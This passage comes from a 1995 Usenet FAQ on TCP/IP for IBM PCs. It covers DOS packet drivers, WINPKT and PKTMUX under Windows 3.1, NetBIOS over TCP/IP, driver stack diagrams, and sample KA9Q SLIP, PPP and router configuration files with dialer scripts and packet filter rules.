termin 0x60
REM the following line must be changed to reflect the COM port,
REM IRQ, baud rate, and software interrupt
lh c:\packet\cslipper com1 vec=60 baud=57600 ether
goto end

:forceD
termin 0x60
umslip &gt;nul
phone force dial
goto slipper

:setup
termin 0x60
umslip &gt;nul
phone setup
goto help

:unload
termin 0x60
goto end

:bogus
echo %1 is not a valid command.
echo Try "cwruslip help" for a list of valid commands
echo.

:help
echo --------------------------------------------------------------
echo Case Western Reserve University SLIP Setup
echo using Univ. of Minnesota PHONE
echo --------------------------------------------------------------
echo cwruslip setup modem settings, phone number, username etc.
echo.
echo cwruslip dial DIAL and establish the SLIP connection
echo cwruslip quit HANGUP the phone and unload the driver
echo cwruslip help this screen
echo.

:end
-- end CWRUSLIP.BAT --



B-3. How do I install packet drivers for Windows applications?

The secret is to load the packet driver, then run Windows. If you
are running Trumpet Winsock, you will also have to load WINPKT
before running Windows, as follows:

winpkt 0x60

If you are running DOS applications within a virtual DOS session
under Windows, you should load PKTMUX after your packet driver, as
follows:

PKTMUX 4 [or however many sessions you want]
WIN [load windows]

Then within each DOS session, load PKTDRV, the virtual packet driver.

If you are running Trumpet Winsock along with other DOS apps in a
virtual DOS session, then you will need to load PKTDRV prior to
loading Windows, and then load WINPKT on top of it, as follows:

PKTMUX 4
PKTDRV 0x62
WINPKT 0x62
PKTDRV 0x60
WIN

TCPMAN will then find the virtual packet driver at 0x62.


B-4. When do I need to install WINPKT?

You only need to load WINPKT before Windows if you have a network
card in your computer, or are running a packet driver that simulates
such a card, such as EtherPPP, or CSLIPPER in Ethernet simulation mode.
If you are using Trumpet Winsock via SLIP/CSLIP, there is no need to load
WINPKT, since you can use Trumpet Winsock's built-in CSLIP driver.

PKTMUX and WINPKT both accomplish the same thing: allowing you to
connect to a DOS packet driver running in real mode from a virtual
DOS session under Windows. PKTMUX is useful when you are running
more than one TCP/IP stack, and since it takes up more RAM and is
slower than WINPKT, you should only use it when you want to run more
than one stack at a time. If you are running only one DOS app,
or are using Trumpet Winsock, stick with WINPKT.

James Harvey (mailto:harvey@iupui.edu) notes:
Winpkt is only useful running DOS applications with built-in TCP/IP
stacks under Windows, and for some Windows-based stacks (like the
Trumpet winsock.dll). When an application registers with a packet
driver TSR to receive packets of a specified protocol type, one of the
things it hasto pass as a parameter to the packet driver in the call
is the address of a routine in the application that the packet driver
is to call when it has a packet to pass back to the application. In
the case of an application running in 386 enhanced mode in a DOS shell
under Windows that is using a packet driver loaded in real mode before
Windows was loaded, the packet driver must ensure that Windows has the
application in memory when it does the callback, otherwise the callback
jumps off into space and your system locks up. Winpkt does a Windows
system call to force the app into memory before the callback is done.

Erick Engelke (mailto:erick@uwaterloo.ca) notes:
Windows in enhanced mode uses the protected mode of the
386 CPU to create multiple virtual machines. Winpkt tells
Windows to switch to the correct virtual machine before
trying to pass up the packet. This reduces the chances of
Windows crashing.


B-5. How to do I run both WinQVT and ODI?

My advice is to use the Windows Sockets version of WinQVT/Net, Trumpet
Winsock, and ODIPKT. ODIPKT will allow you to run packet driver software
over ODI. You will also need to load WINPKT for Trumpet Winsock.

The loading sequence is:

LSL [Link support layer]
NE2000.COM [or other ODI driver]
IPXODI [IPX version supporting ODI]
NETX
ODIPKT 1 96
WINPKT 0x60
WIN [run windows]

Then run Trumpet Winsock, and load WinQVT/Net.

B-6. Is it possible to use BOOTP over SLIP?

Yes, but it is easier to use dynamic address assignment to get
your IP address. This is where the SLIP server outputs your IP address
before switching to SLIP.

If you need BOOTP, then you should run a BOOTP server on the SLIP
server so that it can tell which SLIP connection originated the
request. Of course, the BOOTP server will ignore the hardware address
of the request originator, but instead will keep track of the SLIP
interface the request came in on. See the question on adding BOOTP to
KA9Q for info on how to handle this on the PC. Under UNIX, you may
have to add BOOTP capability to your slip driver, and rebuild the
kernel. (Not recommended for the squimish).


B-7. How do SLIP drivers work?

Some TCP/IP applications are written to only support Class 1 (Ethernet)
packet drivers, but do not support Class 6 (SLIP). For these applications, you
need software to make the application think it is dealing with a class 1
interface. This is done by adding fake ethernet headers to incoming
SLIP or PPP packets and stripping the headers off outgoing packets.


B-8. When do I need to install PKTMUX?

PKTMUX is needed to allow you to use more than one TCP/IP stack at the same
time. This is useful if you have applications that require different stacks.
Note that you do not need PKTMUX to run different protocols, since packet
drivers only look at packets in the protocol they're designed to handle,
and therefore you can use more than one of these at a time without conflict.
You also don't need PKTMUX if all your applications use the same TCP/IP stack.

PKTMUX works by looking at outgoing datagrams, and caching information on
source and destination ports and addresses. Using this information, PKTMUX
tries to sort incoming datagrams by TCP/IP stack. If it can't figure out
which stack to send a datagram to (as might be the case if you were running
a server application on a well-known port, and had not sent any outgoing
packets yet), PKTMUX will send the datagram to all stacks. If all stacks
do not complain about the datagram, PKTMUX will throw away the ensuing outgoing
ICMP error message, assuming that one of the stacks correctly received
the datagram. If all stacks complain, it will send a single ICMP message
and throw the rest away.

While PKTMUX does its job very well, there are some situations that it cannot
handle, such as port conflicts. If two applications open the same TCP port,
chaos is inevitable, and there is little that PKTMUX can do to help.

B-9. Can NDIS be used underneath multiple protocol stacks of the same type?
No. There is no equivalent to PKTMUX for NDIS.

B-10. Is there an NDIS over packet driver shim?
Joe Doupnik writes:

"No. Packet Drivers work by having an application register
for a particular packet TYPE, such as 0800 for IP. NDIS works much
differently, by offering a peekahead of every packet to applications in turn,
a polling operation. The only way NDIS could gracefully sit on a PD would
be to run the Packet Driver in all-types mode and let NDIS see all pkts
not used by other clients. Needless to say, that's an undesirable situation.
The quick solution, costing about US$100 (at least at my place,
more at yours) is a second Ethernet board in the client together with a
second IP address (most important, please)."

B-11. How do I run NetBIOS over TCP/IP?

NetBIOS over TCP/IP is discussed in RFCs 1001 and 1002, which defines
three types of NetBIOS nodes:

* B nodes, which use UDP broadcast packets to distribute datagrams and
resolve names.
* P nodes, which use point-to-point communications and which
require NetBIOS Datagram Distribution (NBDD) and NetBIOS Name
Servers (NBNS). P nodes do not listen to or use broadcast
services, so they cannot be used alongside B nodes. Unfortunately NBNS,
and NBDD servers were not widely implemented, and those
that do exist (such as an implementation from Network Telesystems)
are not inexpensive.
* M nodes, which use both point-to-point and broadcast.

B node technology cannot be used on an IP internet without extensions,
since UDP broadcast packets are not forwarded through routers. This
is not a problem with use of NetBIOS over IPX/SPX, since in IPX/SPX
broadcast packets can be forwarded.

However, until very recently, M and P node technology was not supported
by popular TCP/IP implementations. For example, PC/TCP supports
B node technology with extensions such as a broadcast file, host file,
or DNS resolution of NetBIOS names. Windows NT and WFW TCP/IP uses an
LMHOSTS file for resolving names.

According to Chip Sparling of FTP Software:

"From what I remember from our discussions of a few years ago, P
nodes were only implemented by Ungermann Bass and 3COM (and they
required you to use a NetBIOS name resolver which was non-rfc 1001, 1002 compliant),
nobody did M nodes (as far as I remember) and PC-LAN, Lantastic and
LanManager used B node. Also, if you did a P or M node it wouldn't be
compatible with a B node NetBIOS. We decided that we could give the
compatibility and functionality (routability) with a B node plus
extensions implementation. So, that's what we did."

Without implementation of M and P node technology, the only way
to run over an IP internet is to to implement B node technology
with extensions, as FTP Software does in PC/TCP. According to Chip,
"one way to handle large numbers of hosts on multiple networks is
to use the broadcast file extenstion. Instead of putting specific
ip addresses in the broadcast file, use a subnet broadcast address
like nnn.nnn.nnn.255. which will cover an entire subnet."

Assuming you don't need any of the extensions to RFC NetBIOS
Microsoft created to make NetBIOS work smoothly in a routed environment
(available only in their IP stack), you can choose from a wide variety of
commercial vendors. For example, FTP Software's PC/TCP includes RFC NetBIOS
support; Performance Technologies has a NetBIOS that runs over packet drivers,
as does Accton (LANSoft).

If any other vendors are reading this, I'd love to have information
on how *you* implement NetBIOS over TCP/IP, and whether you'll be
supporting WINS, the new P-node technology name resolution service
from Microsoft.

WINS support is included in the recent release of TCP-IP/32 which
is available for download on ftp.microsoft.com. Consult the
release documentation for more information on this.

Another recent development is the release of an NBNS and SMB
server for UNIX, known as Samba. Samba works great, I am using
it. See resource section for details.


B-12. How do I run NFS along with another TCP/IP application?

The DOS NFS implementation by M. Durkin now supports a built-in
packet multiplexer that can handle NFS plus another stack loaded
simultaneously. If you need to load more stacks, then you will need
to run PKTMUX as well.

See the resource section for details.

B-13. How do I run Trumpet Winsock along with KA9Q or NFS?

The secret is to load WINPKT on top of the PKTDRV virtual
packet driver, if you are running PKTMUX.

B-14. I am trying to run Netware and TCP/IP at the same time, using
PDETHER. How do I do this?

Chris Badura (bad@flatlin.ka.sub.org ) writes:
"On one PC running odipkt over the ODI driver for the pocket ethernet
adaptor resulted in a 10x performance *decrease*. So I switched to
running IPX/SPX over a paket driver for this adaptor wich performs
very well. The setup is like:

pkdriver 0x60
lsl
pdether
ipxodi
netx
winpkt 0x60

I had to get pde103.zip from netlab2.usu.edu to get IPX with Ethernet
II frameing to work. The older pdether from simtel didn't work.
It seems also like winpkt has to be loaded last."

B-15. Sample Stick Diagrams

It has been proposed that we begin to collect some diagrams of working
combinations of hardware, drivers, shims, stacks, and applications. I'm
game, and have made a start below. If you've got some other exotic
configuration that works (or if you've tried one of the configurations below
and discovered it doesn't work, drop me a line).

Running an individual DOS application under Windows

NCSA telnet / DOS Trumpet / POPmail/ PC Gopher III
|
DOS Session
|
Windows 3.1
|
WinPKT
|
Packet driver or Shim
|
DOS
|
Network Adapter


DOS Trumpet, NCSA Telnet, and WinQVT/Net over Ethernet under Windows

QVT/NET
|
TRUMPET NCSA telbin |
| | |
PKTDRV1 PKTDRVn |
| | |
DOS Session DOS Session Windows Session
+-----------+-----------------+ |
| |
+ |
WINDOWS 3.1 ............. WINDOWS 3.1
| |
| PKTINT(QVT/NET own)
| |
| PKTDRVx
+-------------------------------+
PKTMUX n
|
Packet Driver or SHIM
|
DOS
|
Network Adapter

PC Gopher III, NCSA Telnet over CSLIP under Windows




PC Gopher III NCSA telbin
| |
PKTDRV1 PKTDRVn
| |
DOS Session DOS Session
+-----------+-----------------+
|
+
WINDOWS 3.1
|
|
|
|
+
PKTMUX n
|
CSLIPPER
|
DOS
|
Serial Port

PC Gopher II and NetWare on a LAN - Alternative I
[Didn't work for me, but it's supposed to be OK]

NetWare
PC Gopher |
III |
| |
DOS Session NETX
| |
Windows 3.1 |
| PDIPX
WINPKT /
\ /
\ /
\ /
\ /
Packet Driver
|
DOS
|
Network Adapter


PC Gopher III and NetWare on a LAN - Alternative II

PC-Gopher III
|
DOS Session
|
Windows 3.1
|
|
NetWare |
\ /
NETX WINPKT
\ /
IPXODI ODIPKT
\ /
\ /
|
Link Support Layer
|
ODI driver
|
DOS
|
Network Adapter

WinQVT/Net and PC Gopher II and NetWare over a LAN - Alternative I

PC Gopher
III
| Win QVT/Net
PKTDRV1 |
| |
DOS session Windows 3.1
| |
Windows 3.1 PKTINT (QVT/NET own)
| |
| PKTDRVn
WinPKT |
| | NetWare
+----------------+ |
| |
| |
PKTMUX n NETX
| |
\ PDIPX
\ |
\ |
\ |
\ |
Packet Driver --------------+
|
DOS
|
Network Adapter

WinQVT/Net, PC Gopher III and NetWare over a LAN - Alternative II

QVT/Net
PC Gopher III NCSA telbin |
| | |
PKTDRV1 ..... PKTDRVn |
| | | |
DOS Session DOS Session Windows Session
+-----------+-----------------+ |
| |
| |
WINDOWS 3.1 .......................WINDOWS 3.1
| |
| PKTINT(QVT/NET own)
| |
| PKTDRVx
| |
| |
| |
| |
+------------------+------------+
|
NetWare |
\ /
NETX PKTMUX n (use if &gt;1 TCP/IP app)
\ /
IPXODI ODIPKT
\ /
\ /
|
Link Support Layer
|
ODI driver
|
Network Adapter



PC Eudora and Windows Trumpet over CSLIP/PPP under Windows using Trumpet Winsock


PC Eudora Windows Trumpet
\ /
\ /
\ /
\ /
TCPMAN
|
Windows 3.1
|
WINPKT 0x60
|
DOS
|
Serial Port

PC Eudora and Windows Trumpet supporting Ethernet and CSLIP/PPP under Windows
using NDIS supporting stack [Chameleon]

[Please note: this is not possible under Trumpet Winsock, since it can
only handle a single interface; it requires a stack that routes]

PC Eudora Windows Trumpet
\ /
\ /
\ /
\ /
Chameleon NEWT
|
Windows v3.1
|
+------------------+
| |
Protocol Manager |
| |
NDIS Mac Driver Serial Port
|
DOS
|
Ethernet card



PC Eudora, Windows Trumpet, and KA9Q under Windows

WinTrump PC Eudora
\ /
\ /
KA9Q \ /
| |
PKTDRV TCPMAN
\ |
\ /
\ /
\ /
\ /
Windows
|
PKTDRV 0x62
|
PKTMUX 2
|
Packet Driver
|
DOS
|
Ethernet Card

HGopher, PC Eudora, and WinTrumpet Under Windows
(Whether the TCP/IP stack is loaded before or
after Windows depends on the stack)

HGopher
|
|
PC |
Eudora | WinTrumpet
\ | /
\ | /
\ | /
\|/
TCPMAN
|
Windows 3.1
|
WINPKT
|
Packet Driver
|
DOS
|
Ethernet Card

B-16. Strange and wonderful configuration files submitted by readers

Robert Clift (mailto:clifta@sfu.ca) writes:

"I have WinQVT/Net 3.4, PC Gopher III (including NCSA DOS Telnet), KA9Q
(gopher and FTP server), and POPMail all running together under Windows
over PKTMUX on a 3C503 packet driver (and Ethernet card)."

Here is the stick diagram (yikes!):

Win/QVTNet 3.7 KA9Q Gopher PC POPMail 3.2 PC Gopher III 1.01
on interrupt 65 & FTP Server \ /
\ | \ /
\ | \ /
\ | \ /
\ PKTDRV PKTDRV
\ | /
\ DOS Session DOS Session
\ | /
\ | -------------------
\ | /
Windows 3.1
|
PKINT
|
PKTDRV on Int 65 no listeners set
|
PKTMUX 1.2 with 3 channels
|
Clarkson 3C503 Packet Driver
|
DOS
|
3Com Etherlink II/16 TP
|
Ethernet

NOTES:

Win/QVTNet must be loaded as the very first Windows application and must be
kept operating as long as your are in Windows. It appears that its TCP/IP
stack does some strange things when it disconnects and kills access to the
actual packet driver.

I run PC gopher and POPMail alternatively, so they share one channel which
is allocated via PKTDRV before running the application and deallocated
after the application is finished (I usually throw in a reset command to
PMTMUX as well just to be safe).

To explain what is happening (as best I can since a lot of this came from
experimentation):

1. The packet driver is loaded
2. PKTMUX is run over the packet driver in order to multiplex it (in this
case three channels).
3. A virtual packet driver is loaded for Win/QVTNet on interrupt 65 and
the packet driver is told that it is not to listen for any server
requests.
4. PKINT is loaded over top of the virtual packet driver
5. Start Windows and run Win/QVTNet as the first application, it must be
kept running throughout the Windows session.
6. Load a virtual packet driver from a DOS session and start KA9Q. I use
the following batch file to do this:

c:\network\pktdrv 63 /l
h:
cd \
net091b
c:\network\pktdrv 63 /uu
c:\network\pktmux /r

7. Load a virtual packet driver and run PC Gopher or POPMail as needed. I
use the following batch files for PC Gopher and POPMail respectively:

c:\network\pktdrv 63
h:\goph-cli\gopher /T=h:\goph-cli\text /X=h:\goph-cli\binary
c:\network\pktdrv 63 /uu


c:\network\pktdrv 66 /c
h:\popmail\popmail /noems
c:\network\pktdrv 66 /uu

8. The only problem seems to be that the NNTP module in Win/QVTNet will
not operate correctly if POPMail is operating. Otheriwse it seems to
work okay without too many problems.



------------------------------ END OF PART 1 ------------------------

Please send comments to:

Bernard Aboba
Author of:
The Online User's Encyclopedia, Addison-Wesley, 1994
The PC-Internet Connection, Publisher's Group West, due in 1995
mailto:aboba@netcom.com
FTP archive: ftp://ftp.zilker.net/pub/mailcom/
WWW page: http://www.zilker.net/users/internaut/index.html

From: aboba@netcom.com (Bernard Aboba)
Subject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 2 of 5
Expires: Fri, 12 May 1995 00:00:00 GMT
Followup-To: poster
Keywords: TCP/IP, IBM PC, SLIP, PPP, NDIS, ODI
Organization: MailCom
Reply-To: aboba@netcom.com
Newsgroups: comp.protocols.tcp-ip.ibmpc,comp.protocols.tcp-ip,alt.winsock,comp.os.ms-windows.networking.tcp-ip,alt.answers,comp.answers,news.answers
Approved: news-answers-request@MIT.Edu
Summary: Frequently Asked Questions (and answers) about TCP/IP on
PC-Compatible Computers

Archive-name: ibmpc-tcp-ip-faq/part2

comp.protocols.tcp-ip.ibmpc:
FAQ Posting, part 2, 4/1/95


C. KA9Q Questions

C-1. What version of KA9Q should I use and where do I get it?

There are so many releases of KA9Q that it is a significant amount of
work just to keep track of them all. This has occurred partly because
KA9Q does not support extended or expanded memory, and therefore many
people have needed to customize it with the features relevant to them
in order to allow it to do what they want as well as fit into memory.
The primary difference among the various releases is whether they
include code for a BBS, packet radio support (AX.25), synchronous cards (for
use with leased lines), NNTP, CSO or Gopher servers, packet filtering, DNS,
BOOTP, RIP or PPP support.

The three primary KA9Q releases at this time are those managed by Ashok Aiyar
(ashok@biochemistry.bioc.cwru.edu), those put out by Demon Internet
Services (DIS), and the JNOS distribution. JNOS is the primary packet radio-
oriented release; the other two major releases do not include AX.25 support.
Since JNOS does not include several features important to non-packet radio
users (DNS/Gopher/CSO server,hop check), try one of the other two releases
if you're not interested in packet radio.

Ashok's release is based on the N1BEE 0.85-beta which in turn
is based on PA9GRI 2.0m NOS. Version 11c includes support for NTP, CSO,
gopher, FTP, FINGER, HTTP and SMTP/POP2/POP3 servers, plus VT102 and packet
filtering support. Please not that this release does *not* include radio or
synchronous card support, unlike the standard KA9Q release, and only supports
SLIP/CSLIP. Also, there is no DNS server support, and the tip command has been
removed, so that you need to use an external dialer to make the connection. It
does however support BOOTP, and comes with a good manual which is fairly current
(June 1994).

Available as:

ftp://biochemistry.bioc.cwru.edu/pub/nos/nos11c.exe,
ftp://biochemistry.bioc.cwru.edu/pub/nos/nos11c.txt,
ftp://biochemistry.bioc.cwru.edu/pub/nos/nos11c.map,
ftp://biochemistry.bioc.cwru.edu/pub/nos/nos192.txt,
ftp://biochemistry.bioc.cwru.edu/pub/nos/nos_1229.man,
ftp://biochemistry.bioc.cwru.edu/pub/nos/vt102.zip,
ftp://biochemistry.bioc.cwru.edu/pub/nos/filter.txt,
ftp://biochemistry.bioc.cwru.edu/pub/nos/autoexec.nos

The TextWin version from Demon Internet Services includes support for
DNS server, packet filtering, FTP, SMTP/POP2/POP3 servers, NNTP server,
VT102 support, NTP, BBS, PPP, demand dial, ping, hop check
(traceroute equivalent). I am using it now on my own LAN, it is great.
However, SLIP/CSLIP support is no longer compiled in by default;
you'll have to compile a custom version to get this.

From mailto:mike@childsoc.demon.co.uk (Michael Bernardi):

"Demon Internet Services have a dialin Internet service in the UK.
They also support a customised version of KA9Q optimised for
dialup, they also support the PCElm mailer, SNEWS news reader and
a customised front end. There is also a combined NEWS and MAIL
program called CPPNEWS and an alternative MAIL program called
VIEW, these last are unsupported by mailto:Internet@demon.co.uk but other
DIS users do support them. All these programs can be found on
ftp://ftp.demon.co.uk/pub/ibmpc/ and are written to
work with KA9Q (specifically the DIS version)."

Anthony McCarthy has added a multi-windowing system to KA9Q that
supports the mouse, which has been recommended. See Resource
listings for info.

The DIS release includes three versions, small, medium and large.
The large version includes everything but the kitchen sink, including
an NNTP server. I also believe it includes the KA9Q BBS code, and
radio support.

Editorial: To my mind, the time has come for the major releases to combine
their code bases and produce a version with the best features of all of them.
To my mind, the ideal KA9Q release would be a release combining the improved
server support of the CWRU release with the working PPP implementation, demand
dial, packet filter and DNS server support of the DIS version.


C-2. What do I need to run KA9Q? Why won't it do VT-100 emulation?

KA9Q is usually run from a startup script, such as my script
startnos.bat:

\nos\drivers\8003pkdr
\nos\net -d \nos

Here I first load the packet drivers for my 8003 Ethernet card, then
run KA9Q (known as net.exe).

The KA9Q package then reads commands from a configuration file, called
AUTOEXEC.NOS in some implementations, AUTOEXEC.NET in others.

For VT100 emulation with KA9Q, try using Giles Todd's VT102.COM,
available via ftp://ftp.demon.co.uk/pub/ibmpc/DIS.

C-3. How do I configure KA9Q as a SLIP dialup connection?

Here is a sample CSLIP only configuration file which will run
on the DIS version with CSLIP/SLIP compiled in:

# This config file is for use with the large TextWin
# version of KA9Q available from ftp.demon.co.uk
#
# Set the host name
#
hostname foobar.com
#
# Configure COM3 on Interrupt 5, at 38400 bps with
# RTS/CTS (c) and Van Jacobsen Compression (v) and
# MTU = 1008
#
attach asy 0x3e8 5 vjslip sl0 8092 1008 38400 cv
ifconfig sl0 ipaddress [192.187.134.3]
ifconfig sl0 netmask 255.255.255.0
dialer sl0 dialer.sl0
#
#
# route all packets over sl0 by default (sl0 is the route
# to the Internet)
#
route add default sl0
#
# Time To Live is the maximum number of hops a packet
# can take before it is thrown away. This command
# prevents packets from looping infinitely.
#
ip ttl 255
#
# The Maximum Segment Size is the largest single
# transmission that you care to receive. An mss of 216
# will force folks to send you packets of 256 characters
# or less (counting the overhead).
#
tcp mss 1048
#
# The Window parameter establishes the maximum number
# of bytes that may be outstanding before your system
# expects an ack. If window is twice as big as mss,
# for example, there will be two active packets on the
# channel at any given time. Large values of window
# provide improved throughput on full-duplex links, but
# are a problem on the air.
# Keep mss &lt;= window &lt;= 2*mss if you're on the air.
#
tcp window 6888
#
# This entry will open net.log in the \spool directory
# and will record the server activity of your system. If
# you don't want a log, comment out this line; if you do,
# make sure you have a \spool directory!
#
log \textwin\spool\net.log
#
# Each of the servers (services you will provide) must
# be turned on before they will be active. The
# following entries turn all of them on. To turn any
# function off use the command 'stop' after NET gets
# fired up, or just comment out the line here.
#
start ftp
ftpopt binary
start echo
start discard
# start telnet
start smtp
# This machine uses primary and seconary DNS servers
# to resolve addresses
domain addserver 192.100.81.101
domain addserver 192.100.81.105
# Command indicating presence of IBM AT
isat on
#
smtp gateway 140.174.7.1
#
#
# THE END

dialer.sl0 file:

# Configuration section.
#
configure:
init "ATZ\r"
dial_cmd "ATDT"
ld_code ""
number "15108658169"
retries 5
#
# Execution section.
#
execute:
#
# Toggle DTR.
#
control down
wait 2000
control up
wait 2000
#
# Initialize the modem.
#
init
wait 3000 "OK"
#
# Dial and wait for connection.
#
dial
wait 45000 "CONNECT"
#
# Now log in.
#
wait 60000 "ogin:"
wait 1000
send "userID\r"
wait 60000 "word:"
send "password\r"


After executing this setup file, you should hear the modem dial out
to your SLIP host. Assuming that the dialing script is correct,
it should login and go into SLIP mode.

Type RESET at the prompt. This kills any residual processes that
may be operating.

At this point you should have a functioning connection. You might
try to ping your host via the command:
PING &lt;host adddress&gt;
If this works, you will then see the round trip time to your host,
in milliseconds.

Other possible diagnostic commands:

ASYSTAT &lt;interface&gt; Gives statistics on packets received, sent, etc.
Very useful, particularly if you need to know if
you should install a 16550 on your serial port.
TRACE &lt;interface&gt; 1011 Shows incoming characters
RIP TRACE 1 Traces RIP packets
HOP CHECK &lt;address&gt; Traces the route to the designated system. Useful
for figuring out routing problems.


C-4. How do I configure KA9Q as a router?

I know have KA9Q up and running as a dial-on-demand router, using
an old 386 with only 1 Mb RAM. Boy, is this great! The TextWin version
supports packet filtering, DNS server, FTP server, dial-on-demand, and PPP.
These capabilities put Textwin KA9Q head and shoulders above PCROUTE,
in my humble opinion. About the only reason to use PCROUTE is if you
have an old 286 with just a floppy drive, but even then I'd urge
you to go out and get a 386/16 for $300, just so you could implement
packet filtering and be more secure.

The KA9Q configuration that follows uses two interfaces, one a PPP
interface (pp0), the other an Ethernet interface (lan). Here I
am implementing dial on demand, and can also be doing packet
filtering, and DNS serving on the same box.

Please note the strange interrupt settings (Interrupt 5, port is COM3). One of
the nice things about KA9Q is that it is flexible enough to deal with
such situations.

Here is a sample router configuration file for demand dial PPP:

# This config file is for use with the large TextWin
# version of KA9Q available from ftp.demon.co.uk
#
# Set the host name
#
hostname gate.foobar.com
#
# Configure COM3 on Interrupt 5, at 38400 bps with
# RTS/CTS (c) and PPP
#
attach asy 0x3e8 5 ppp pp0 8092 576 38400 c
ifconfig pp0 ipaddress [192.187.147.2]
ifconfig pp0 netmask 255.255.255.0
dialer pp0 dialer.ppp demand
#
ppp pp0 trace 2
ppp pp0 quick
ppp pp0 lcp open
ppp pp0 ipcp open
#
# Packet driver installed at software interrupt
# number 0x60.
#
attach packet 0x60 lan 2 1500
ifconfig lan ipaddress [192.187.157.4]
ifconfig lan netmask 255.255.255.0
#
route add default pp0
#
# The local Ethernet has a Class C network address so
# route all IP addresses beginning with 192.187.157 to
# it.
route add 192.187.157/24 lan
#
# if you had the default route instead going through
# 192.187.157.4, you'd put in this statement:
# route add default lan 192.187.157.4
# and take out the route add default pp0 statement
#
# Time To Live is the maximum number of hops a packet
# can take before it is thrown away. This command
# prevents packets from looping infinitely.
#
ip ttl 255
#
# The Maximum Segment Size is the largest single
# transmission that you care to receive. An mss of 216
# will force folks to send you packets of 256 characters
# or less (counting the overhead).
#
tcp mss 576
#
# The Window parameter establishes the maximum number
# of bytes that may be outstanding before your system
# expects an ack. If window is twice as big as mss,
# for example, there will be two active packets on the
# channel at any given time. Large values of window
# provide improved throughput on full-duplex links, but
# are a problem on the air.
# Keep mss &lt;= window &lt;= 2*mss if you're on the air.
#
tcp window 6888
#
# This entry will open net.log in the \spool directory
# and will record the server activity of your system. If
# you don't want a log, comment out this line; if you do,
# make sure you have a \spool directory!
#
log \textwin\spool\net.log
#
# Each of the servers (services you will provide) must
# be turned on before they will be active. The
# following entries turn all of them on. To turn any
# function off use the command 'stop' after NET gets
# fired up, or just comment out the line here.
#
start ftp
ftpopt binary
start echo
start discard
start telnet
start smtp
# This machine will act as a DNS server;
# Boot file is c:\textwin\named.boo, configuration
# goes in c:\textwin\spool\zones
domain startdns
# Command indicating presence of IBM AT
isat on
#
#mbox secure on
mbox maxmsg 200
mbox expert off
#
smtp gateway 192.187.157.2
smtp maxclients 5
smtp mode route
smtp quiet yes
smtp timer 600
smtp t4 120
#
# Use Router Information Protocol (RIP) to inform
# the router at 192.187.147.253 about the existence
# of the local network. Send RIP packets every 240
# seconds. Only useful for dedicated routers.
rip add 192.187.147.253 240
#
# Install the packet filter for security purposes
#
ip filter pp0 permit in tcpxsyn !192.187.157.0/24 192.187.157.0/24
ip filter pp0 permit in icmpxrd !192.187.157.0/24 192.187.157.0/24
ip filter pp0 permit in udp !192.187.157.0/24:53 192.187.157.0/24:53
ip filter pp0 permit in udp !192.187.157.0/24:53 192.187.157.0/24:1024+
ip filter pp0 permit in udp !192.187.157.0/24:123 192.187.157.0/24:123
ip filter pp0 permit in tcpsyn !192.187.157.0/24:20 192.187.157.0/24:1024+
ip filter pp0 permit in tcpsyn !192.187.157.0/24 foobar.com:25
ip filter pp0 permit in tcpsyn !192.187.157.0/24 foobar.com:79
ip filter pp0 deny in * * *
ip filter pp0 permit out * 192.187.157.0/24 !192.187.157.0/24
#
# THE END

dialer.ppp file:

# Configuration section.
#
configure:
init "ATZ\r"
dial_cmd "ATDT"
ld_code ""
number "15108658169"
retries 5
#
# Execution section.
#
execute:
#
# Toggle DTR.
#
control down
wait 2000
control up
wait 2000
#
# Initialize the modem.
#
init
wait 3000 "OK"
#
# Dial and wait for connection.
#
dial
wait 45000 "CONNECT"
#
# Now log in.
#
wait 60000 "ogin:"
wait 1000
send "userID\r"
wait 60000 "word:"
send "password\r"

named.boo file:

primary foobar.com foobar.com
primary 157.187.192.in-addr.arpa 157.rev

c:\textwin\spool\zones files:
foobar.com
157.rev

You might try to use an on-demand dial router as a secondary DNS
server, like this:

named.boo file:

secondary foobar.com 192.187.157.7 foobar.com
secondary 157.187.192.in-addr.arpa 192.187.157.7 157.rev

However, this will not work, because the DNS timeout is shorter
than the average time to get KA9Q connected. As a result, KA9Q will
try to download the zone files before the link is fully up, and will
fail. However, you can act as a secondary on an ethernet network
just fine.

Here is another routing configuration file, using CSLIP and proxy arp:

# This config file is for use with the large TextWin
# version of KA9Q available from ftp.demon.co.uk
#
# Set the host name
#
hostname gate.foobar.com
#
# Configure COM3 on Interrupt 5, at 38400 bps with
# RTS/CTS (c) and Van Jacobsen Compression (v) and
# MTU = 1008
#
attach asy 0x3e8 5 vjslip sl0 8092 1008 38400 cv
ifconfig sl0 ipaddress [157.151.0.253]
ifconfig sl0 netmask 255.255.255.0
dialer sl0 dialer.sl0
#
#
#
# Packet driver at 0x60; probably an Ethernet card
#
attach packet 0x60 lan 2 1500
ifconfig lan ipaddress [157.151.64.1]
ifconfig lan netmask 255.255.255.0
#
# route all packets over sl0 by default (sl0 is the route
# to the Internet)
#
route add default sl0
#
# The local Ethernet has a Class C network address so
# route all IP addresses beginning with 157.151.64 to it.
route add 157.151.64/24 lan
#
# Use Proxy ARP
# Respond to arps for 157.151.64.1 and .254
arp publish 157.151.64.1 ether 00:00:c0:33:f3:13
arp publish 157.151.64.254 ether 00:00:c0:33:f3:13
#
# Time To Live is the maximum number of hops a packet
# can take before it is thrown away. This command
# prevents packets from looping infinitely.
#
ip ttl 255
#
# The Maximum Segment Size is the largest single
# transmission that you care to receive. An mss of 216
# will force folks to send you packets of 256 characters
# or less (counting the overhead).
#
tcp mss 576
#
# The Window parameter establishes the maximum number
# of bytes that may be outstanding before your system
# expects an ack. If window is twice as big as mss,
# for example, there will be two active packets on the
# channel at any given time. Large values of window
# provide improved throughput on full-duplex links, but
# are a problem on the air.
# Keep mss &lt;= window &lt;= 2*mss if you're on the air.
#
tcp window 6888
#
# This entry will open net.log in the \spool directory
# and will record the server activity of your system. If
# you don't want a log, comment out this line; if you do,
# make sure you have a \spool directory!
#
log \textwin\spool\net.log
#
# Each of the servers (services you will provide) must
# be turned on before they will be active. The
# following entries turn all of them on. To turn any
# function off use the command 'stop' after NET gets
# fired up, or just comment out the line here.
#
start ftp
ftpopt binary
start echo
start discard
# start telnet
start smtp
# This machine uses primary and seconary DNS servers
# to resolve addresses
#
domain addserver 157.151.0.2
domain addserver 157.151.0.1
smtp gateway 157.151.0.2
#
# Command indicating presence of IBM AT
isat on
#
#
#
# THE END

dialer.sl0 file:

# Configuration section.
#
configure:
init "ATZ\r"
dial_cmd "ATDT"
ld_code ""
number "15108658169"
retries 5
#
# Execution section.
#
execute:
#
# Toggle DTR.
#
control down
wait 2000
control up
wait 2000
#
# Initialize the modem.
#
init
wait 3000 "OK"
#
